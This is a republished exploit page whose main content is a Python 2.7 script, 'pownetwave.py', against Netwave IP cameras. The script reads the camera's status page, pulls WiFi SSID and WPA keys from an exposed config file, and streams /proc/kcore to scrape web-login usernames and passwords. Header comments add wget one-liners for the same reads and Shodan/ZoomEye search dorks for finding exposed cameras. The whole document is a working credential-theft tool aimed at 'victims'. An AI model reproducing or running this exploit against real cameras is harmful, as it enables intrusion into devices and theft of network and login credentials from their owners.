Netwave IP Camera - Password Disclosure

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Netwave IP Camera - Password Disclosure

来源：spiritnull(at)sigaint.org 作者：spiritnull 发布时间：2017-02-04

#!/usr/bin/python2.7
##
## spiritnull(at)sigaint.org
##
## Run the exploit against the victim to get WIFI password
## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin
##
## magic for you bash:
## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings
## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat
## wget -qO- http://[HOST]:[PORT]//dev/rom0
## wget -qO- http://[HOST]:[PORT]/get_status.cgi
##
## shodan dork:
## "Server: Netwave IP Camera"
##
## zoomeye dork:
## Netwave IP camera http config
##

import sys,os,time,tailer
import urllib2
import subprocess
import signal
from threading import Thread

try:
    if sys.argv[1] == "-h" or sys.argv[1] == "--help":
        print "Usage: python pownetwave.py [HOST]:[PORT]"
        print "Example: python pownetwave.py 127.0.0.1:81"
        sys.exit(0)

    else:
        pass
except IndexError:
    print "Usage: python pownetwave.py [HOST]:[PORT]"
    print "Example: python pownetwave.py 127.0.0.1:81"
    sys.exit(0)

def signal_handler(signal, frame):
        print('\nclearing up..')
    os.system("rm -rf tmpstream.txt")
    os.system("rm -rf tmpstrings.out")
    os.system("killall -9 wget")
    os.system("killall -9 tail")
        sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

macaddr = ""
done = 0
linecount = 0

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

print "getting system information.."+sys.argv[1]
response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi')
xcontent = response.read().split(";\n")
for line in xcontent:
    if line.startswith("var id="):
        line = line.split("'")
        macaddr = line[1]
    else:
        pass

print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC
print "getting wireless information.."

try:
    resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat")
    xcontent = resp.read().split("\n")
    print "victims wireless information.."
    for line in xcontent:
        if line.startswith("WPAPSK") or line.startswith("SSID"):
            print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC
        else:
            print "\t\t"+str(line)
except:
    print "wireless lan is disabled.."

print "checking for memory dump vulnerability.."

try:
    urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore')
except:
    print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC
    sys.exit(0)

print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC
proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid)
os.system('echo "" >tmpstrings.out')
time.sleep(1)
proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid)
print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC

while 1:
    sys.stdout.flush()
    if os.stat('tmpstrings.out').st_size <= 1024:
        sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r")
    else:
        sys.stdout.flush()
        print "strings in binary data found.. password should be around line 10000"
        for line in tailer.follow(open('tmpstrings.out','r')):
            sys.stdout.flush()
            if done == 0:
                linecount+= 1
                if line == macaddr:
                    sys.stdout.flush()
                    done = 1
                    print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC
                else:
                    sys.stdout.write(str(linecount)+"\r")
            elif done == 1:
                done = 2
                print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC
            elif done == 2:
                done = 3
                print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC
            elif done == 3:
                done = 4
                print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC
            elif done == 4:
                done = 0
                print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC
            else:
                pass

signal.pause()

[